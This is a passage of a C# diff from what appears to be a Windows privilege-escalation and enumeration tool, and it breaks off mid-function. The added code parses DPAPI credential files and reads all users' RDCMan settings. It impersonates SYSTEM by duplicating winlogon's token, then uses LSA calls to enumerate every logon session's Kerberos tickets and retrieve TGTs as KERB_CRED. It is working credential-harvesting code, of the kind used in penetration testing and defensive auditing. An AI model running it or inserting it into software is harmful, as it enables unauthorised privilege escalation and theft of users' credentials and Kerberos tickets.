System.IO.Path.GetFileName(file); + + // jankily parse the bytes to extract the credential type and master key GUID + // reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54 + byte[] credentialArray = File.ReadAllBytes(file); + byte[] guidMasterKeyArray = new byte[16]; + Array.Copy(credentialArray, 36, guidMasterKeyArray, 0, 16); + Guid guidMasterKey = new Guid(guidMasterKeyArray); + + byte[] stringLenArray = new byte[16]; + Array.Copy(credentialArray, 56, stringLenArray, 0, 4); + int descLen = BitConverter.ToInt32(stringLenArray, 0); + + byte[] descBytes = new byte[descLen]; + Array.Copy(credentialArray, 60, descBytes, 0, descLen - 4); + + string desc = Encoding.Unicode.GetString(descBytes); + results.Add(new Dictionary() + { + { "CredFile", file }, + { "Description", desc }, + { "MasterKey", String.Format("{0}", guidMasterKey) }, + { "Accessed", String.Format("{0}", lastAccessed) }, + { "Modified", String.Format("{0}", lastModified) }, + { "Size", String.Format("{0}", size) }, + }); + } + } + } + } + catch (Exception ex) + { + Console.WriteLine(" [X] Exception: {0}", ex.Message); + } + return results; + } + + + public static List> GetRDCManFiles() + { + List> results = new List>(); + // lists any found files in Local\Microsoft\Credentials\* + try + { + if (MyUtils.IsHighIntegrity()) + { + string userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive")); + string[] dirs = Directory.GetDirectories(userFolder); + + foreach (string dir in dirs) + { + string[] parts = dir.Split('\\'); + string userName = parts[parts.Length - 1]; + if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) + { + string userRDManFile = String.Format("{0}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings", dir); + if (System.IO.File.Exists(userRDManFile)) + { + XmlDocument xmlDoc = new XmlDocument(); + xmlDoc.Load(userRDManFile); + + // grab the recent RDG files + XmlNodeList filesToOpen = xmlDoc.GetElementsByTagName("FilesToOpen"); + XmlNodeList items = filesToOpen[0].ChildNodes; + XmlNode node = items[0]; + + DateTime lastAccessed = System.IO.File.GetLastAccessTime(userRDManFile); + DateTime lastModified = System.IO.File.GetLastWriteTime(userRDManFile); + Dictionary rdg = new Dictionary(){ + { "RDCManFile", userRDManFile }, + { "Accessed", String.Format("{0}", lastAccessed) }, + { "Modified", String.Format("{0}", lastModified) }, + { ".RDG Files", "" }, + }; + + foreach (XmlNode rdgFile in items) + rdg[".RDG Files"] += rdgFile.InnerText; + + results.Add(rdg); + } + } + } + } + else + { + string userName = Environment.GetEnvironmentVariable("USERNAME"); + string userRDManFile = String.Format("{0}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings", System.Environment.GetEnvironmentVariable("USERPROFILE")); + + if (System.IO.File.Exists(userRDManFile)) + { + XmlDocument xmlDoc = new XmlDocument(); + xmlDoc.Load(userRDManFile); + + // grab the recent RDG files + XmlNodeList filesToOpen = xmlDoc.GetElementsByTagName("FilesToOpen"); + XmlNodeList items = filesToOpen[0].ChildNodes; + XmlNode node = items[0]; + + DateTime lastAccessed = System.IO.File.GetLastAccessTime(userRDManFile); + DateTime lastModified = System.IO.File.GetLastWriteTime(userRDManFile); + Dictionary rdg = new Dictionary(){ + { "RDCManFile", userRDManFile }, + { "Accessed", String.Format("{0}", lastAccessed) }, + { "Modified", String.Format("{0}", lastModified) }, + { ".RDG Files", "" }, + }; + + foreach (XmlNode rdgFile in items) + rdg[".RDG Files"] += rdgFile.InnerText; + results.Add(rdg); + } + } + } + catch (Exception ex) + { + Console.WriteLine(" [X] Exception: {0}", ex.Message); + } + return results; + } + + + [DllImport("advapi32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + static extern bool OpenProcessToken(IntPtr ProcessHandle, UInt32 DesiredAccess, out IntPtr TokenHandle); + + [DllImport("secur32.dll", SetLastError = true)] + public static extern int LsaRegisterLogonProcess(LSA_STRING_IN LogonProcessName, out IntPtr LsaHandle, out ulong SecurityMode); + + [DllImport("advapi32.dll")] + public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int SECURITY_IMPERSONATION_LEVEL, ref IntPtr DuplicateTokenHandle); + + [DllImport("advapi32.dll", SetLastError = true)] + static extern bool ImpersonateLoggedOnUser(IntPtr hToken); + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + static extern bool CloseHandle(IntPtr hObject); + + [DllImport("advapi32.dll", SetLastError = true)] + static extern bool RevertToSelf(); + + [DllImport("Secur32.dll", SetLastError = false)] + private static extern uint LsaEnumerateLogonSessions(out UInt64 LogonSessionCount, out IntPtr LogonSessionList); + + [DllImport("Secur32.dll", SetLastError = false)] + private static extern uint LsaGetLogonSessionData(IntPtr luid, out IntPtr ppLogonSessionData); + + [DllImport("secur32.dll", SetLastError = false)] + public static extern int LsaLookupAuthenticationPackage([In] IntPtr LsaHandle, [In] ref LSA_STRING_IN PackageName, [Out] out int AuthenticationPackage); + + [DllImport("secur32.dll", SetLastError = false)] + private static extern int LsaCallAuthenticationPackage(IntPtr LsaHandle, int AuthenticationPackage, ref KERB_QUERY_TKT_CACHE_REQUEST ProtocolSubmitBuffer, int SubmitBufferLength, out IntPtr ProtocolReturnBuffer, out int ReturnBufferLength, out int ProtocolStatus); + + [DllImport("secur32.dll", SetLastError = false)] + private static extern uint LsaFreeReturnBuffer(IntPtr buffer); + [DllImport("secur32.dll", SetLastError = false)] + private static extern int LsaConnectUntrusted([Out] out IntPtr LsaHandle); + + [DllImport("secur32.dll", SetLastError = false)] + private static extern int LsaDeregisterLogonProcess([In] IntPtr LsaHandle); + + [DllImport("secur32.dll", EntryPoint = "LsaCallAuthenticationPackage", SetLastError = false)] + private static extern int LsaCallAuthenticationPackage_KERB_RETRIEVE_TKT(IntPtr LsaHandle, int AuthenticationPackage, ref KERB_RETRIEVE_TKT_REQUEST ProtocolSubmitBuffer, int SubmitBufferLength, out IntPtr ProtocolReturnBuffer, out int ReturnBufferLength, out int ProtocolStatus); + + + [StructLayout(LayoutKind.Sequential)] + public struct LSA_STRING_IN + { + public UInt16 Length; + public UInt16 MaximumLength; + public string Buffer; + } + [StructLayout(LayoutKind.Sequential)] + public struct LSA_STRING_OUT + { + public UInt16 Length; + public UInt16 MaximumLength; + public IntPtr Buffer; + } + [StructLayout(LayoutKind.Sequential)] + protected struct LUID + { + public uint LowPart; + public int HighPart; + } + [StructLayout(LayoutKind.Sequential)] + private struct SECURITY_LOGON_SESSION_DATA + { + public UInt32 Size; + public LUID LoginID; + public LSA_STRING_OUT Username; + public LSA_STRING_OUT LoginDomain; + public LSA_STRING_OUT AuthenticationPackage; + public UInt32 LogonType; + public UInt32 Session; + public IntPtr PSiD; + public UInt64 LoginTime; + public LSA_STRING_OUT LogonServer; + public LSA_STRING_OUT DnsDomainName; + public LSA_STRING_OUT Upn; + } + [StructLayout(LayoutKind.Sequential)] + private struct KERB_QUERY_TKT_CACHE_REQUEST + { + public KERB_PROTOCOL_MESSAGE_TYPE MessageType; + public LUID LogonId; + } + public enum KERB_PROTOCOL_MESSAGE_TYPE : UInt32 + { + KerbDebugRequestMessage = 0, + KerbQueryTicketCacheMessage = 1, + KerbChangeMachinePasswordMessage = 2, + KerbVerifyPacMessage = 3, + KerbRetrieveTicketMessage = 4, + KerbUpdateAddressesMessage = 5, + KerbPurgeTicketCacheMessage = 6, + KerbChangePasswordMessage = 7, + KerbRetrieveEncodedTicketMessage = 8, + KerbDecryptDataMessage = 9, + KerbAddBindingCacheEntryMessage = 10, + KerbSetPasswordMessage = 11, + KerbSetPasswordExMessage = 12, + KerbVerifyCredentialsMessage = 13, + KerbQueryTicketCacheExMessage = 14, + KerbPurgeTicketCacheExMessage = 15, + KerbRefreshSmartcardCredentialsMessage = 16, + KerbAddExtraCredentialsMessage = 17, + KerbQuerySupplementalCredentialsMessage = 18, + KerbTransferCredentialsMessage = 19, + KerbQueryTicketCacheEx2Message = 20, + KerbSubmitTicketMessage = 21, + KerbAddExtraCredentialsExMessage = 22, + KerbQueryKdcProxyCacheMessage = 23, + KerbPurgeKdcProxyCacheMessage = 24, + KerbQueryTicketCacheEx3Message = 25, + KerbCleanupMachinePkinitCredsMessage = 26, + KerbAddBindingCacheEntryExMessage = 27, + KerbQueryBindingCacheMessage = 28, + KerbPurgeBindingCacheMessage = 29, + KerbQueryDomainExtendedPoliciesMessage = 30, + KerbQueryS4U2ProxyCacheMessage = 31 + } + [StructLayout(LayoutKind.Sequential)] + private struct KERB_QUERY_TKT_CACHE_RESPONSE + { + public KERB_PROTOCOL_MESSAGE_TYPE MessageType; + public int CountOfTickets; + // public KERB_TICKET_CACHE_INFO[] Tickets; + public IntPtr Tickets; + } + [StructLayout(LayoutKind.Sequential)] + public struct KERB_TICKET_CACHE_INFO + { + public LSA_STRING_OUT ServerName; + public LSA_STRING_OUT RealmName; + public Int64 StartTime; + public Int64 EndTime; + public Int64 RenewTime; + public Int32 EncryptionType; + public UInt32 TicketFlags; + } + [StructLayout(LayoutKind.Sequential)] + private struct KERB_RETRIEVE_TKT_RESPONSE + { + public KERB_EXTERNAL_TICKET Ticket; + } + [StructLayout(LayoutKind.Sequential)] + private struct KERB_CRYPTO_KEY + { + public Int32 KeyType; + public Int32 Length; + public IntPtr Value; + } + [StructLayout(LayoutKind.Sequential)] + private struct KERB_EXTERNAL_TICKET + { + public IntPtr ServiceName; + public IntPtr TargetName; + public IntPtr ClientName; + public LSA_STRING_OUT DomainName; + public LSA_STRING_OUT TargetDomainName; + public LSA_STRING_OUT AltTargetDomainName; + public KERB_CRYPTO_KEY SessionKey; + public UInt32 TicketFlags; + public UInt32 Flags; + public Int64 KeyExpirationTime; + public Int64 StartTime; + public Int64 EndTime; + public Int64 RenewUntil; + public Int64 TimeSkew; + public Int32 EncodedTicketSize; + public IntPtr EncodedTicket; + } + [StructLayout(LayoutKind.Sequential)] + private struct KERB_RETRIEVE_TKT_REQUEST + { + public KERB_PROTOCOL_MESSAGE_TYPE MessageType; + public LUID LogonId; + public LSA_STRING_IN TargetName; + public UInt64 TicketFlags; + public KERB_CACHE_OPTIONS CacheOptions; + public Int64 EncryptionType; + public SECURITY_HANDLE CredentialsHandle; + } + [StructLayout(LayoutKind.Sequential)] + public struct SECURITY_HANDLE + { + public IntPtr LowPart; + public IntPtr HighPart; + public SECURITY_HANDLE(int dummy) + { + LowPart = HighPart = IntPtr.Zero; + } + }; + [StructLayout(LayoutKind.Sequential)] + private struct KERB_EXTERNAL_NAME + { + public Int16 NameType; + public UInt16 NameCount; + public LSA_STRING_OUT Names; + } + [Flags] + private enum KERB_CACHE_OPTIONS : UInt64 + { + KERB_RETRIEVE_TICKET_DEFAULT = 0x0, + KERB_RETRIEVE_TICKET_DONT_USE_CACHE = 0x1, + KERB_RETRIEVE_TICKET_USE_CACHE_ONLY = 0x2, + KERB_RETRIEVE_TICKET_USE_CREDHANDLE = 0x4, + KERB_RETRIEVE_TICKET_AS_KERB_CRED = 0x8, + KERB_RETRIEVE_TICKET_WITH_SEC_CRED = 0x10, + KERB_RETRIEVE_TICKET_CACHE_TICKET = 0x20, + KERB_RETRIEVE_TICKET_MAX_LIFETIME = 0x40, + } + + private enum SECURITY_LOGON_TYPE : uint + { + Interactive = 2, // logging on interactively. + Network, // logging using a network. + Batch, // logon for a batch process. + Service, // logon for a service account. + Proxy, // Not supported. + Unlock, // Tattempt to unlock a workstation. + NetworkCleartext, // network logon with cleartext credentials + NewCredentials, // caller can clone its current token and specify new credentials for outbound connections + RemoteInteractive, // terminal server session that is both remote and interactive + CachedInteractive, // attempt to use the cached credentials without going out across the network + CachedRemoteInteractive,// same as RemoteInteractive, except used internally for auditing purposes + CachedUnlock // attempt to unlock a workstation + } + public enum KERB_ENCRYPTION_TYPE : UInt32 + { + reserved0 = 0, + des_cbc_crc = 1, + des_cbc_md4 = 2, + des_cbc_md5 = 3, + reserved1 = 4, + des3_cbc_md5 = 5, + reserved2 = 6, + des3_cbc_sha1 = 7, + dsaWithSHA1_CmsOID = 9, + md5WithRSAEncryption_CmsOID = 10, + sha1WithRSAEncryption_CmsOID = 11, + rc2CBC_EnvOID = 12, + rsaEncryption_EnvOID = 13, + rsaES_OAEP_ENV_OID = 14, + des_ede3_cbc_Env_OID = 15, + des3_cbc_sha1_kd = 16, + aes128_cts_hmac_sha1_96 = 17, + aes256_cts_hmac_sha1_96 = 18, + aes128_cts_hmac_sha256_128 = 19, + aes256_cts_hmac_sha384_192 = 20, + rc4_hmac = 23, + rc4_hmac_exp = 24, + camellia128_cts_cmac = 25, + camellia256_cts_cmac = 26, + subkey_keymaterial = 65 + } + [Flags] + public enum KERB_TICKET_FLAGS : UInt32 + { + reserved = 2147483648, + forwardable = 0x40000000, + forwarded = 0x20000000, + proxiable = 0x10000000, + proxy = 0x08000000, + may_postdate = 0x04000000, + postdated = 0x02000000, + invalid = 0x01000000, + renewable = 0x00800000, + initial = 0x00400000, + pre_authent = 0x00200000, + hw_authent = 0x00100000, + ok_as_delegate = 0x00040000, + name_canonicalize = 0x00010000, + //cname_in_pa_data = 0x00040000, + enc_pa_rep = 0x00010000, + reserved1 = 0x00000001 + } + public static IntPtr LsaRegisterLogonProcessHelper() + { + // helper that establishes a connection to the LSA server and verifies that the caller is a logon application + // used for Kerberos ticket enumeration + + string logonProcessName = "User32LogonProcesss"; + LSA_STRING_IN LSAString; + IntPtr lsaHandle = IntPtr.Zero; + UInt64 securityMode = 0; + + LSAString.Length = (ushort)logonProcessName.Length; + LSAString.MaximumLength = (ushort)(logonProcessName.Length + 1); + LSAString.Buffer = logonProcessName; + + int ret = LsaRegisterLogonProcess(LSAString, out lsaHandle, out securityMode); + + return lsaHandle; + } + + public static bool GetSystem() + { + // helper to elevate to SYSTEM for Kerberos ticket enumeration via token impersonation + + if (MyUtils.IsHighIntegrity()) + { + IntPtr hToken = IntPtr.Zero; + + // Open winlogon's token with TOKEN_DUPLICATE accesss so ca can make a copy of the token with DuplicateToken + Process[] processes = Process.GetProcessesByName("winlogon"); + IntPtr handle = processes[0].Handle; + + // TOKEN_DUPLICATE = 0x0002 + bool success = OpenProcessToken(handle, 0x0002, out hToken); + if (!success) + { + //Console.WriteLine("OpenProcessToken failed!"); + return false; + } + + // make a copy of the NT AUTHORITY\SYSTEM token from winlogon + // 2 == SecurityImpersonation + IntPtr hDupToken = IntPtr.Zero; + success = DuplicateToken(hToken, 2, ref hDupToken); + if (!success) + { + //Console.WriteLine("DuplicateToken failed!"); + return false; + } + + success = ImpersonateLoggedOnUser(hDupToken); + if (!success) + { + //Console.WriteLine("ImpersonateLoggedOnUser failed!"); + return false; + } + + // clean up the handles we created + CloseHandle(hToken); + CloseHandle(hDupToken); + + string name = System.Security.Principal.WindowsIdentity.GetCurrent().Name; + if (name != "NT AUTHORITY\\SYSTEM") + { + return false; + } + + return true; + } + else + { + return false; + } + } + public static IEnumerable Split(string text, int partLength) + { + if (text == null) { Console.WriteLine("[ERROR] Split() - singleLineString"); } + if (partLength < 1) { Console.WriteLine("[ERROR] Split() - 'columns' must be greater than 0."); } + + var partCount = Math.Ceiling((double)text.Length / partLength); + if (partCount < 2) + { + yield return text; + } + + for (int i = 0; i < partCount; i++) + { + var index = i * partLength; + var lengthLeft = Math.Min(partLength, text.Length - index); + var line = text.Substring(index, lengthLeft); + yield return line; + } + } + public static List> ListKerberosTickets() + { + if (MyUtils.IsHighIntegrity()) + { + return ListKerberosTicketsAllUsers(); + } + else + { + return ListKerberosTicketsCurrentUser(); + } + } + + public static List> ListKerberosTicketsAllUsers() + { + List> results = new List>(); + // adapted partially from Vincent LE TOUX' work + // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2939-L2950 + // and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/ + // also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1 + + IntPtr hLsa = LsaRegisterLogonProcessHelper(); + int totalTicketCount = 0; + + // if the original call fails then it is likely we don't have SeTcbPrivilege + // to get SeTcbPrivilege we can Impersonate a NT AUTHORITY\SYSTEM Token + if (hLsa == IntPtr.Zero) + { + GetSystem(); + // should now have the proper privileges to get a Handle to LSA + hLsa = LsaRegisterLogonProcessHelper(); + // we don't need our NT AUTHORITY\SYSTEM Token anymore so we can revert to our original token + RevertToSelf(); + } + + try + { + // first return all the logon sessions + + DateTime systime = new DateTime(1601, 1, 1, 0, 0, 0, 0); //win32 systemdate + UInt64 count; + IntPtr luidPtr = IntPtr.Zero; + IntPtr iter = luidPtr; + + uint ret = LsaEnumerateLogonSessions(out count, out luidPtr); // get an array of pointers to LUIDs + + for (ulong i = 0; i < count; i++) + { + IntPtr sessionData; + ret = LsaGetLogonSessionData(luidPtr, out sessionData); + SECURITY_LOGON_SESSION_DATA data = (SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(sessionData, typeof(SECURITY_LOGON_SESSION_DATA)); + + // if we have a valid logon + if (data.PSiD != IntPtr.Zero) + { + // user session data + string username = Marshal.PtrToStringUni(data.Username.Buffer).Trim(); + System.Security.Principal.SecurityIdentifier sid = new System.Security.Principal.SecurityIdentifier(data.PSiD); + string domain = Marshal.PtrToStringUni(data.LoginDomain.Buffer).Trim(); + string authpackage = Marshal.PtrToStringUni(data.AuthenticationPackage.Buffer).Trim(); + SECURITY_LOGON_TYPE logonType = (SECURITY_LOGON_TYPE)data.LogonType; + DateTime logonTime = systime.AddTicks((long)data.LoginTime); + string logonServer = Marshal.PtrToStringUni(data.LogonServer.Buffer).Trim(); + string dnsDomainName = Marshal.PtrToStringUni(data.DnsDomainName.Buffer).Trim(); + string upn = Marshal.PtrToStringUni(data.Upn.Buffer).Trim(); + + // now we want to get the tickets for this logon ID + string name = "kerberos"; + LSA_STRING_IN LSAString; + LSAString.Length = (ushort)name.Length; + LSAString.MaximumLength = (ushort)(name.Length + 1); + LSAString.Buffer = name; + + IntPtr ticketPointer = IntPtr.Zero; + IntPtr ticketsPointer = IntPtr.Zero; + DateTime sysTime = new DateTime(1601, 1, 1, 0, 0, 0, 0); + int authPack; + int returnBufferLength = 0; + int protocalStatus = 0; + int retCode; + + KERB_QUERY_TKT_CACHE_REQUEST tQuery = new KERB_QUERY_TKT_CACHE_REQUEST(); + KERB_QUERY_TKT_CACHE_RESPONSE tickets = new KERB_QUERY_TKT_CACHE_RESPONSE(); + KERB_TICKET_CACHE_INFO ticket; + + // obtains the unique identifier for the kerberos authentication package. + retCode = LsaLookupAuthenticationPackage(hLsa, ref LSAString, out authPack); + + // input object for querying the ticket cache for a specific logon ID + LUID userLogonID = new LUID(); + userLogonID.LowPart = data.LoginID.LowPart; + userLogonID.HighPart = 0; + tQuery.LogonId = userLogonID; + tQuery.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbQueryTicketCacheMessage; + + // query LSA, specifying we want the ticket cache + retCode = LsaCallAuthenticationPackage(hLsa, authPack, ref tQuery, Marshal.SizeOf(tQuery), out ticketPointer, out returnBufferLength, out protocalStatus); + + /*Console.WriteLine("\r\n UserName : {0}", username); + Console.WriteLine(" Domain : {0}", domain); + Console.WriteLine(" LogonId : {0}", data.LoginID.LowPart); + Console.WriteLine(" UserSID : {0}", sid.AccountDomainSid); + Console.WriteLine(" AuthenticationPackage : {0}", authpackage); + Console.WriteLine(" LogonType : {0}", logonType); + Console.WriteLine(" LogonType : {0}", logonTime); + Console.WriteLine(" LogonServer : {0}", logonServer); + Console.WriteLine(" LogonServerDNSDomain : {0}", dnsDomainName); + Console.WriteLine(" UserPrincipalName : {0}\r\n", upn);*/ + + if (ticketPointer != IntPtr.Zero) + { + // parse the returned pointer into our initial KERB_QUERY_TKT_CACHE_RESPONSE structure + tickets = (KERB_QUERY_TKT_CACHE_RESPONSE)Marshal.PtrToStructure((System.IntPtr)ticketPointer, typeof(KERB_QUERY_TKT_CACHE_RESPONSE)); + int count2 = tickets.CountOfTickets; + + if (count2 != 0) + { + Console.WriteLine(" [*] Enumerated {0} ticket(s):\r\n", count2); + totalTicketCount += count2; + // get the size of the structures we're iterating over + Int32 dataSize = Marshal.SizeOf(typeof(KERB_TICKET_CACHE_INFO)); + + for (int j = 0; j < count2; j++) + { + // iterate through the structures + IntPtr currTicketPtr = (IntPtr)(long)((ticketPointer.ToInt64() + (int)(8 + j * dataSize))); + + // parse the new ptr to the appropriate structure + ticket = (KERB_TICKET_CACHE_INFO)Marshal.PtrToStructure(currTicketPtr, typeof(KERB_TICKET_CACHE_INFO)); + + // extract our fields + string serverName = Marshal.PtrToStringUni(ticket.ServerName.Buffer, ticket.ServerName.Length / 2); + string realmName = Marshal.PtrToStringUni(ticket.RealmName.Buffer, ticket.RealmName.Length / 2); + DateTime startTime = DateTime.FromFileTime(ticket.StartTime); + DateTime endTime = DateTime.FromFileTime(ticket.EndTime); + DateTime renewTime = DateTime.FromFileTime(ticket.RenewTime); + string encryptionType = ((KERB_ENCRYPTION_TYPE)ticket.EncryptionType).ToString(); + string ticketFlags = ((KERB_TICKET_FLAGS)ticket.TicketFlags).ToString(); + + results.Add(new Dictionary() + { + { "UserPrincipalName", upn }, + { "serverName", serverName }, + { "RealmName", realmName }, + { "StartTime", String.Format("{0}", startTime) }, + { "EndTime", String.Format("{0}", endTime) }, + { "RenewTime", String.Format("{0}", renewTime) }, + { "EncryptionType", encryptionType }, + { "TicketFlags", ticketFlags }, + }); + } + } + } + } + // move the pointer forward + luidPtr = (IntPtr)((long)luidPtr.ToInt64() + Marshal.SizeOf(typeof(LUID))); + LsaFreeReturnBuffer(sessionData); + } + LsaFreeReturnBuffer(luidPtr); + + // disconnect from LSA + LsaDeregisterLogonProcess(hLsa); + } + catch (Exception ex) + { + Console.WriteLine(" [X] Exception: {0}", ex); + } + return results; + } + public static List> ListKerberosTicketsCurrentUser() + { + List> results = new List>(); + // adapted partially from Vincent LE TOUX' work + // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2939-L2950 + // and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/ + // also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1 + + try + { + string name = "kerberos"; + LSA_STRING_IN LSAString; + LSAString.Length = (ushort)name.Length; + LSAString.MaximumLength = (ushort)(name.Length + 1); + LSAString.Buffer = name; + + IntPtr ticketPointer = IntPtr.Zero; + IntPtr ticketsPointer = IntPtr.Zero; + DateTime sysTime = new DateTime(1601, 1, 1, 0, 0, 0, 0); + int authPack; + int returnBufferLength = 0; + int protocalStatus = 0; + IntPtr lsaHandle; + int retCode; + + // If we want to look at tickets from a session other than our own + // then we need to use LsaRegisterLogonProcess instead of LsaConnectUntrusted + retCode = LsaConnectUntrusted(out lsaHandle); + + KERB_QUERY_TKT_CACHE_REQUEST tQuery = new KERB_QUERY_TKT_CACHE_REQUEST(); + KERB_QUERY_TKT_CACHE_RESPONSE tickets = new KERB_QUERY_TKT_CACHE_RESPONSE(); + KERB_TICKET_CACHE_INFO ticket; + + // obtains the unique identifier for the kerberos authentication package. + retCode = LsaLookupAuthenticationPackage(lsaHandle, ref LSAString, out authPack); + + // input object for querying the ticket cache (https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ns-ntsecapi-_kerb_query_tkt_cache_request) + tQuery.LogonId = new LUID(); + tQuery.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbQueryTicketCacheMessage; + + // query LSA, specifying we want the ticket cache + retCode = LsaCallAuthenticationPackage(lsaHandle, authPack, ref tQuery, Marshal.SizeOf(tQuery), out ticketPointer, out returnBufferLength, out protocalStatus); + + // parse the returned pointer into our initial KERB_QUERY_TKT_CACHE_RESPONSE structure + tickets = (KERB_QUERY_TKT_CACHE_RESPONSE)Marshal.PtrToStructure((System.IntPtr)ticketPointer, typeof(KERB_QUERY_TKT_CACHE_RESPONSE)); + int count = tickets.CountOfTickets; + + // get the size of the structures we're iterating over + Int32 dataSize = Marshal.SizeOf(typeof(KERB_TICKET_CACHE_INFO)); + + for (int i = 0; i < count; i++) + { + // iterate through the structures + IntPtr currTicketPtr = (IntPtr)(long)((ticketPointer.ToInt64() + (int)(8 + i * dataSize))); + + // parse the new ptr to the appropriate structure + ticket = (KERB_TICKET_CACHE_INFO)Marshal.PtrToStructure(currTicketPtr, typeof(KERB_TICKET_CACHE_INFO)); + + // extract our fields + string serverName = Marshal.PtrToStringUni(ticket.ServerName.Buffer, ticket.ServerName.Length / 2); + string realmName = Marshal.PtrToStringUni(ticket.RealmName.Buffer, ticket.RealmName.Length / 2); + DateTime startTime = DateTime.FromFileTime(ticket.StartTime); + DateTime endTime = DateTime.FromFileTime(ticket.EndTime); + DateTime renewTime = DateTime.FromFileTime(ticket.RenewTime); + string encryptionType = ((KERB_ENCRYPTION_TYPE)ticket.EncryptionType).ToString(); + string ticketFlags = ((KERB_TICKET_FLAGS)ticket.TicketFlags).ToString(); + + results.Add(new Dictionary() + { + { "serverName", serverName }, + { "RealmName", realmName }, + { "StartTime", String.Format("{0}", startTime) }, + { "EndTime", String.Format("{0}", endTime) }, + { "RenewTime", String.Format("{0}", renewTime) }, + { "EncryptionType", encryptionType }, + { "TicketFlags", ticketFlags }, + }); + } + + // disconnect from LSA + LsaDeregisterLogonProcess(lsaHandle); + } + catch (Exception ex) + { + Console.WriteLine(" [X] Exception: {0}", ex.Message); + } + return results; + } + + public static List> GetKerberosTGTData() + { + if (MyUtils.IsHighIntegrity()) + { + return ListKerberosTGTDataAllUsers(); + } + else + { + return ListKerberosTGTDataCurrentUser(); + } + } + public static List> ListKerberosTGTDataAllUsers() + { + List> results = new List>(); + // adapted partially from Vincent LE TOUX' work + // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2939-L2950 + // and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/ + // also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1 + + IntPtr hLsa = LsaRegisterLogonProcessHelper(); + int totalTicketCount = 0; + + // if the original call fails then it is likely we don't have SeTcbPrivilege + // to get SeTcbPrivilege we can Impersonate a NT AUTHORITY\SYSTEM Token + if (hLsa == IntPtr.Zero) + { + GetSystem(); + // should now have the proper privileges to get a Handle to LSA + hLsa = LsaRegisterLogonProcessHelper(); + // we don't need our NT AUTHORITY\SYSTEM Token anymore so we can revert to our original token + RevertToSelf(); + } + + try + { + // first return all the logon sessions + + DateTime systime = new DateTime(1601, 1, 1, 0, 0, 0, 0); //win32 systemdate + UInt64 count; + IntPtr luidPtr = IntPtr.Zero; + IntPtr iter = luidPtr; + + uint ret = LsaEnumerateLogonSessions(out count, out luidPtr); // get an array of pointers to LUIDs + + for (ulong i = 0; i < count; i++) + { + IntPtr sessionData; + ret = LsaGetLogonSessionData(luidPtr, out sessionData); + SECURITY_LOGON_SESSION_DATA data = (SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(sessionData, typeof(SECURITY_LOGON_SESSION_DATA)); + + // if we have a valid logon + if (data.PSiD != IntPtr.Zero) + { + // user session data + string username = Marshal.PtrToStringUni(data.Username.Buffer).Trim(); + System.Security.Principal.SecurityIdentifier sid = new System.Security.Principal.SecurityIdentifier(data.PSiD); + string domain = Marshal.PtrToStringUni(data.LoginDomain.Buffer).Trim(); + string authpackage = Marshal.PtrToStringUni(data.AuthenticationPackage.Buffer).Trim(); + SECURITY_LOGON_TYPE logonType = (SECURITY_LOGON_TYPE)data.LogonType; + DateTime logonTime = systime.AddTicks((long)data.LoginTime); + string logonServer = Marshal.PtrToStringUni(data.LogonServer.Buffer).Trim(); + string dnsDomainName = Marshal.PtrToStringUni(data.DnsDomainName.Buffer).Trim(); + string upn = Marshal.PtrToStringUni(data.Upn.Buffer).Trim(); + + // now we want to get the tickets for this logon ID + string name = "kerberos"; + LSA_STRING_IN LSAString; + LSAString.Length = (ushort)name.Length; + LSAString.MaximumLength = (ushort)(name.Length + 1); + LSAString.Buffer = name; + + IntPtr responsePointer = IntPtr.Zero; + int authPack; + int returnBufferLength = 0; + int protocalStatus = 0; + int retCode; + + KERB_RETRIEVE_TKT_REQUEST tQuery = new KERB_RETRIEVE_TKT_REQUEST(); + KERB_RETRIEVE_TKT_RESPONSE response = new KERB_RETRIEVE_TKT_RESPONSE(); + + // obtains the unique identifier for the kerberos authentication package. + retCode = LsaLookupAuthenticationPackage(hLsa, ref LSAString, out authPack); + + // input object for querying the TGT for a specific logon ID (https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ns-ntsecapi-_kerb_retrieve_tkt_request) + LUID userLogonID = new LUID(); + userLogonID.LowPart = data.LoginID.LowPart; + userLogonID.HighPart = 0; + tQuery.LogonId = userLogonID; + tQuery.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveTicketMessage; + // indicate we want kerb creds yo' + tQuery.CacheOptions = KERB_CACHE_OPTIONS.KERB_RETRIEVE_TICKET_AS_KERB_CRED; + + // query LSA, specifying we want the the TGT data + retCode = LsaCallAuthenticationPackage_KERB_RETRIEVE_TKT(hLsa, authPack, ref tQuery, Marshal.SizeOf(tQuery), out responsePointer, out returnBufferLength, out protocalStatus); + + if ((retCode) == 0 && (responsePointer != IntPtr.Zero)) + { + /*Console.WriteLine("\r\n UserName : {0}", username); + Console.WriteLine(" Domain : {0}", domain); + Console.WriteLine(" LogonId : {0}", data.LoginID.LowPart); + 